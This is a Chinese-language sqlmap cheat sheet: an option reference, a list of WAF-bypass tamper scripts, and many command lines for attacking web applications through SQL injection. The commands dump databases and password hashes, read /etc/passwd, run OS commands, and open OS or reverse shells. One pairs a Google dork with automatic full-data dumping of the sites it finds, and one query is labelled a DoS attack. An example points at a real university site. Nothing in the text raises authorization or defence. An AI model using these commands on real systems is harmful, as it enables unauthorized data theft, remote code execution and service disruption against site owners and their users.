安裝
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
options選項
–version 顯示程序的版本號並退出
-h, –help 顯示此幫助消息並退出
-v VERBOSE 詳細級別:0-6(默認爲1)
Target(目標):
以下至少需要設置其中一個選項,設置目標 URL。
-d DIRECT 直接連接到數據庫。
-u URL, –url=URL 目標 URL。
-l LIST 從 Burp 或 WebScarab 代理的日誌中解析目標。
-r REQUESTFILE 從一個文件中載入 HTTP 請求。
-g GOOGLEDORK 處理 Google dork 的結果作爲目標 URL。
-c CONFIGFILE 從 INI 配置文件中加載選項。
Request(請求)::
這些選項可以用來指定如何連接到目標URL。
–data=DATA 通過 POST 發送的數據字符串
–cookie=COOKIE HTTP Cookie 頭
–cookie-urlencode URL 編碼生成的 cookie 注入
–drop-set-cookie 忽略響應的 Set –Cookie 頭信息
–user-agent=AGENT 指定 HTTP User –Agent 頭
–random-agent 使用隨機選定的 HTTP User-Agent 頭
–referer=REFERER 指定 HTTP Referer 頭
–headers=HEADERS 換行分開,加入其他的 HTTP 頭
–auth-type=ATYPE HTTP 身份驗證類型(基本,摘要或NTLM)(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP 身份驗證憑據(用戶名:密碼)
–auth-cert=ACERT HTTP 認證證書(key_file,cert_file)
–proxy=PROXY 使用 HTTP 代理連接到目標 URL
–proxy-cred=PCRED HTTP 代理身份驗證憑據(用戶名:密碼)
–ignore-proxy 忽略系統默認的 HTTP 代理
–delay=DELAY 在每個 HTTP 請求之間的延遲時間,單位爲秒
–timeout=TIMEOUT 等待連接超時的時間(默認爲30 秒)
–retries=RETRIES 連接超時後重新連接的時間(默認3)
–scope=SCOPE 從所提供的代理日誌中過濾器目標的正則表達式
–safe-url=SAFURL 在測試過程中經常訪問的 url 地址
–safe-freq=SAFREQ 兩次訪問之間測試請求,給出安全的 URL
Optimization(優化):
這些選項可用於優化 sqlmap.py 的性能。
-o 開啓所有優化開關
–predict-output 預測常見的查詢輸出
–keep-alive 使用持久的 HTTP(S) 連接
–null-connection 從沒有實際的 HTTP 響應體中檢索頁面長度
–threads=THREADS 最大的 HTTP(S) 請求併發量(默認爲1)
Injection(注入):
這些選項可以用來指定測試哪些參數,提供自定義的注入 payloads 和可選篡改腳本。
-p TESTPARAMETER 可測試的參數
–dbms=DBMS 強制後端的 DBMS 爲此值
–os=OS 強制後端的 DBMS 操作系統爲這個值
–prefix=PREFIX 注入 payload 字符串前綴
–suffix=SUFFIX 注入 payload 字符串後綴
–tamper=TAMPER 使用給定的腳本篡改注入數據
–tamper 通過編碼繞過 WEB 防火牆(WAF)sqlmap.py 默認用 char()
–tamper 插件所在目錄\sqlmap-dev\tamper
- apostrophemask.py 用UTF-8全角字符替換單引號字符
- apostrophenullencode.py 用非法雙字節unicode字符替換單引號字符
- appendnullbyte.py 在payload末尾添加空字符編碼
- base64encode.py 對給定的payload全部字符使用Base64編碼
- between.py 分別用“NOT BETWEEN 0 AND #”替換大於號“>”,“BETWEEN # AND #”替換等於號“=”
- bluecoat.py 在SQL語句之後用有效的隨機空白符替換空格符,隨後用“LIKE”替換等於號“=”
- chardoubleencode.py 對給定的payload全部字符使用雙重URL編碼(不處理已經編碼的字符)
- charencode.py 對給定的payload全部字符使用URL編碼(不處理已經編碼的字符)
- charunicodeencode.py 對給定的payload的非編碼字符使用Unicode URL編碼(不處理已經編碼的字符)
- concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替換像“CONCAT(A, B)”的實例
- equaltolike.py 用“LIKE”運算符替換全部等於號“=”
- greatest.py 用“GREATEST”函數替換大於號“>”
- halfversionedmorekeywords.py 在每個關鍵字之前添加MySQL註釋
- ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替換像“IFNULL(A, B)”的實例
- lowercase.py 用小寫值替換每個關鍵字字符
- modsecurityversioned.py 用註釋包圍完整的查詢
- modsecurityzeroversioned.py 用當中帶有數字零的註釋包圍完整的查詢
- multiplespaces.py 在SQL關鍵字周圍添加多個空格
- nonrecursivereplacement.py 用representations替換預定義SQL關鍵字,適用於過濾器
- overlongutf8.py 轉換給定的payload當中的所有字符
- percentage.py 在每個字符之前添加一個百分號
- randomcase.py 隨機轉換每個關鍵字字符的大小寫
- randomcomments.py 向SQL關鍵字中插入隨機註釋
- securesphere.py 添加經過特殊構造的字符串
- sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
- space2comment.py 用“/**/”替換空格符
- space2dash.py 用破折號註釋符“–”其次是一個隨機字符串和一個換行符替換空格符
- space2hash.py 用磅註釋符“#”其次是一個隨機字符串和一個換行符替換空格符
- space2morehash.py 用磅註釋符“#”其次是一個隨機字符串和一個換行符替換空格符
- space2mssqlblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符
- space2mssqlhash.py 用磅註釋符“#”其次是一個換行符替換空格符
- space2mysqlblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符
- space2mysqldash.py 用破折號註釋符“–”其次是一個換行符替換空格符
- space2plus.py 用加號“+”替換空格符
- space2randomblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符
- unionalltounion.py 用“UNION SELECT”替換“UNION ALL SELECT”
- unmagicquotes.py 用一個多字節組合%bf%27和末尾通用註釋一起替換空格符
- varnish.py 添加一個HTTP頭“X-originating-IP”來繞過WAF
- versionedkeywords.py 用MySQL註釋包圍每個非函數關鍵字
- versionedmorekeywords.py 用MySQL註釋包圍每個關鍵字
- xforwardedfor.py 添加一個僞造的HTTP頭“X-Forwarded-For”來繞過WAF
Detection(檢測):
這些選項可以用來指定在 SQL 盲注時如何解析和比較 HTTP 響應頁面的內容。
–level=LEVEL 執行測試的等級(1-5,默認爲 1)
–risk=RISK 執行測試的風險(0-3,默認爲 1)
–string=STRING 查詢有效時在頁面匹配字符串
–regexp=REGEXP 查詢有效時在頁面匹配正則表達式
–text-only 僅基於文本內容比較網頁
這些選項可用於調整具體的 SQL 注入測試。
–technique=TECH SQL 注入技術測試(默認 BEUST)
Techniques(技巧):
–technique /*測試指定注入類型\使用的技術
不加參數默認測試所有注入技術:
B: 基於布爾的 SQL 盲注
E: 基於顯錯 sql 注入
U: 基於 UNION 注入
S: 疊層 sql 注入
T: 基於時間盲注
–time-sec=TIMESEC DBMS 響應的延遲時間(默認爲 5 秒)
–union-cols=UCOLS 定列範圍用於測試 UNION 查詢注入
–union-char=UCHAR 用於暴力猜解列數的字符
Fingerprint(指紋):
-f, –fingerprint 執行檢查廣泛的 DBMS 版本指紋
Enumeration(枚舉):
這些選項可以用來列舉後端數據庫管理系統的信息、表中的結構和數據。此外,您還可以運行您自己的 SQL 語句。
-b, –banner 檢索數據庫管理系統的標識
–current-user 檢索數據庫管理系統當前用戶
–current-db 檢索數據庫管理系統當前數據庫
–is-dba 檢測 DBMS 當前用戶是否 DBA
–users 枚舉數據庫管理系統用戶
–passwords 枚舉數據庫管理系統用戶密碼哈希
–privileges 枚舉數據庫管理系統用戶的權限
–roles 枚舉數據庫管理系統用戶的角色
–dbs 枚舉數據庫管理系統數據庫
–tables 枚舉 DBMS 數據庫中的表
–columns 枚舉 DBMS 數據庫表列
–dump 轉儲數據庫管理系統的數據庫中的表項
–dump-all 轉儲所有的 DBMS 數據庫表中的條目
–search 搜索列,表和/或數據庫名稱
-D DB 要進行枚舉的數據庫名
-T TBL 要進行枚舉的數據庫表
-C COL 要進行枚舉的數據庫列
-U USER 用來進行枚舉的數據庫用戶
–exclude-sysdbs 枚舉表時排除系統數據庫
–start=LIMITSTART 第一個查詢輸出進入檢索
–stop=LIMITSTOP 最後查詢的輸出進入檢索
–first=FIRSTCHAR 第一個查詢輸出字的字符檢索
–last=LASTCHAR 最後查詢的輸出字字符檢索
–sql-query=QUERY 要執行的 SQL 語句
–sql-shell 提示交互式 SQL 的 shell
Brute force(蠻力):
這些選項可以被用來運行蠻力檢查。
–common-tables 檢查存在共同表
–common-columns 檢查存在共同列
User-defined function injection(用戶自定義函數注入):
這些選項可以用來創建用戶自定義函數。
–udf-inject 注入用戶自定義函數
–shared-lib=SHLIB 共享庫的本地路徑
File system access(訪問文件系統):
這些選項可以被用來訪問後端數據庫管理系統的底層文件系統。
–file-read=RFILE 從後端的數據庫管理系統文件系統讀取文件
–file-write=WFILE 編輯後端的數據庫管理系統文件系統上的本地文件
–file-dest=DFILE 後端的數據庫管理系統寫入文件的絕對路徑
Operating system access(操作系統訪問):
這些選項可以用於訪問後端數據庫管理系統的底層操作系統。
–os-cmd=OSCMD 執行操作系統命令
–os-shell 交互式的操作系統的 shell
–os-pwn 獲取一個 OOB shell,meterpreter 或 VNC
–os-smbrelay 一鍵獲取一個 OOB shell,meterpreter 或 VNC
–os-bof 存儲過程緩衝區溢出利用
–priv-esc 數據庫進程用戶權限提升
–msf-path=MSFPATH Metasploit Framework 本地的安裝路徑
–tmp-path=TMPPATH 遠程臨時文件目錄的絕對路徑
Windows 註冊表訪問:
這些選項可以被用來訪問後端數據庫管理系統Windows 註冊表。
–reg-read 讀一個Windows 註冊表項值
–reg-add 寫一個Windows 註冊表項值數據
–reg-del 刪除Windows 註冊表鍵值
–reg-key=REGKEY Windows 註冊表鍵
–reg-value=REGVAL Windows 註冊表項值
–reg-data=REGDATA Windows 註冊表鍵值數據
–reg-type=REGTYPE Windows 註冊表項值類型
General(一般):
這些選項可以用來設置一些一般的工作參數。
-t TRAFFICFILE 記錄所有 HTTP 流量到一個文本文件中
-s SESSIONFILE 保存和恢復檢索會話文件的所有數據
–flush-session 刷新當前目標的會話文件
–fresh-queries 忽略在會話文件中存儲的查詢結果
–eta 顯示每個輸出的預計到達時間
–update 更新 SqlMap
–save file 保存選項到 INI 配置文件
–batch 從不詢問用戶輸入,使用所有默認配置。
Miscellaneous(雜項):
–beep 發現 SQL 注入時提醒
–check-payload IDS 對注入 payloads 的檢測測試
–cleanup sqlmap.py 具體的 UDF 和表清理 DBMS
–forms 對目標 URL 的解析和測試形式
–gpage=GOOGLEPAGE 從指定的頁碼使用谷歌 dork 結果
–page-rank Google dork 結果顯示網頁排名(PR)
–parse-errors 從響應頁面解析數據庫管理系統的錯誤消息
–replicate 複製轉儲的數據到一個 sqlite3 數據庫
–tor 使用默認的 Tor(Vidalia/ Privoxy/ Polipo)代理地址
–wizard 給初級用戶的簡單向導界面
基礎用法
sqlmap.py sqlmap -u “http://www.xxx.com" //查是否有注入,一些基本信息
sqlmap.py -u “http://www.xxx.com" –dbs //枚舉數據庫
sqlmap.py sqlmap -u “http://www.xxx.com" –tables //表名枚舉
sqlmap.py sqlmap -u “http://www.xxx.com" –columns -T 數據庫表名 //字段枚舉
sqlmap.py sqlmap -u “http://www.xxx.com" –dump -T 數據庫表名 -C 字段1,字段2,字段3
sqlmap.py -u “http://www.xxx.com" –dump -D 數據庫名 -T 表名 -C “字段名1,字段名2,字段名3”
初級用法
sqlmap.py -u “http://url/news?id=1” –dbs /查詢是什麼數據庫
sqlmap.py -u “http://url/news?id=1” –current-db /獲取當前數據庫名稱
sqlmap.py -u “http://url/news?id=1” –current-user /獲取當前用戶名稱
sqlmap.py -u “http://url/news?id=1” -D DataName –tables /獲取 DataName 數據庫的表
sqlmap.py -u “http://url/news?id=1” –columns -T “tablename” users-D “db_name” -v 0 /*列字段
sqlmap.py -u “http://url/news?id=1” -D DataName –T TableNamen –C “admin,password” –dump -v 0 /獲取字段數據
sqlmap.py -u “http://url/news?id=1” –dbms “Mysql” /指定數據庫類型
sqlmap.py -u “http://url/news?id=1” –users /列數據庫用戶
sqlmap.py -u “http://url/news?id=1” –passwords /獲取數據庫用戶密碼
sqlmap.py -u “http://url/news?id=1” –passwords -U root -v 0 /列出指定用戶數據庫密碼
sqlmap.py -u “http://url/news?id=1” –dump -C “password,user,id” -T “tablename” -D “db_name” –start 1 –stop 20 /列出指定字段,列出 20 條
sqlmap.py -u “http://url/news?id=1” –dump-all -v 0 /列出所有數據庫所有表
sqlmap.py -u “http://url/news?id=1” –privileges /查看權限
sqlmap.py -u “http://url/news?id=1” –privileges -U root /查看指定用戶權限
sqlmap.py -u “http://url/news?id=1” –is-dba -v 1 /是否是數據庫管理員
sqlmap.py -u “http://url/news?id=1” –roles /枚舉數據庫用戶角色
sqlmap.py -u “http://url/news?id=1” –udf-inject /導入用戶自定義函數(獲取 系統權限!)
sqlmap.py -u “http://url/news?id=1” –dump-all –exclude-sysdbs -v 0 /列出當前庫所有表
sqlmap.py -u “http://url/news?id=1” –union-cols /union 查詢表記錄
sqlmap.py -u “http://url/news?id=1” –cookie “COOKIE_VALUE” /cookie 注入
sqlmap.py -u “http://url/news?id=1” -b(–banner) /獲取 banner 信息
sqlmap.py -u “http://url/news?id=1” –data “id=3” /post 注入
sqlmap.py -u “http://url/news?id=1” -v 1 -f /指紋判別數據庫類型
sqlmap.py -u “http://url/news?id=1” –proxy “http://127.0.0.1:8118” /代理注入
sqlmap.py -u “http://url/news?id=1” –string “STRING_ON_TRUE_PAGE” /指定關鍵詞
sqlmap.py -u “http://url/news?id=1” –sql-shell /執行指定 sql 命令
sqlmap.py -u “http://url/news?id=1” –file /etc/passwd
sqlmap.py -u “http://url/news?id=1” –os-cmd=whoami /執行系統命令
sqlmap.py -u “http://url/news?id=1” –os-shell /系統交互 shell
sqlmap.py -u “http://url/news?id=1” –os-pwn /反彈 shell
sqlmap.py -u “http://url/news?id=1” –reg-read /讀取 win 系統註冊表
sqlmap.py -u “http://url/news?id=1” –dbs-o “sqlmap.log”/保存進度
sqlmap.py -u “http://url/news?id=1” –dbs -o “sqlmap.log” –resume /*恢復 已保存進度
高級用法
cookie
1–level 2 枚舉強度
2–cookie “id=9”
在ASP中,request對象獲取客戶端提交數據常用的是get和post兩種方式,同時request對象可以不通過集合來獲得數據,即直接使用”request(“name”)”. 但它效率低下,容易出錯,當我們省略具體的集合名稱時,asp是按QueryString(get),Form(post),Cookie,Severvariable,集合的順序來搜索的.cookie是保存在客戶端的一個文本文件,可以進行修改,這樣一來,就可以利用Request.cookie方式來提交變量的值,從而利用系統的漏洞進行注入攻擊
表單
表單枚舉
sqlmap.py -u “http://www.xxx.com" –forms
指定表單數據
sqlmap.py -u “http://www.xxx.com" –data “tfUName=1&UPass=1”
burpsuite抓包與構造 request請求
sqlmap.py -r search_test.py -p tfUPass
交互
./sqlmap.py -u “http://www.xxx.com” --os-cmd “ipconfig”
./sqlmap.py -u “http://www.xxx.com” --os-shell
./sqlmap.py -u “http://www.xxx.com” --os-pwn
./sqlmap.py -u “http://www.xxx.com” --sql-shell
僞靜態
“http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html"
./sqlmap.py -u “http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html"
Google hacking
-p name /多個參數如 index.php?n_id=1&name=2&data=2020 我們想指定name參數進行注入
sqlmap.py -g “site:xxxxx.com inurl:php?id=” –dump-all –batch /google 搜索注入點自動跑出所有字段,需保證 google.com能正常訪問
在 sql shell中執行
使用特定sql導致數據庫報錯停止運行
DoS Attack
select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)
WAF bypass
–batch Never ask for user input, use the default behaviour
–tamper=TAMPER Use given script(s) for tampering injection data
常見encoder: space2hash.py, space2morehash.py, base64encode.py, charencode.py
示例
./sqlmap.py -u “http://www.xxx.com" -v 3 –dbs –batch –tamper “space2hash.py”
權限查看
–privileges Enumerate DBMS users privileges
示例
./sqlmap.py -u “http://www.xxx.com" –privileges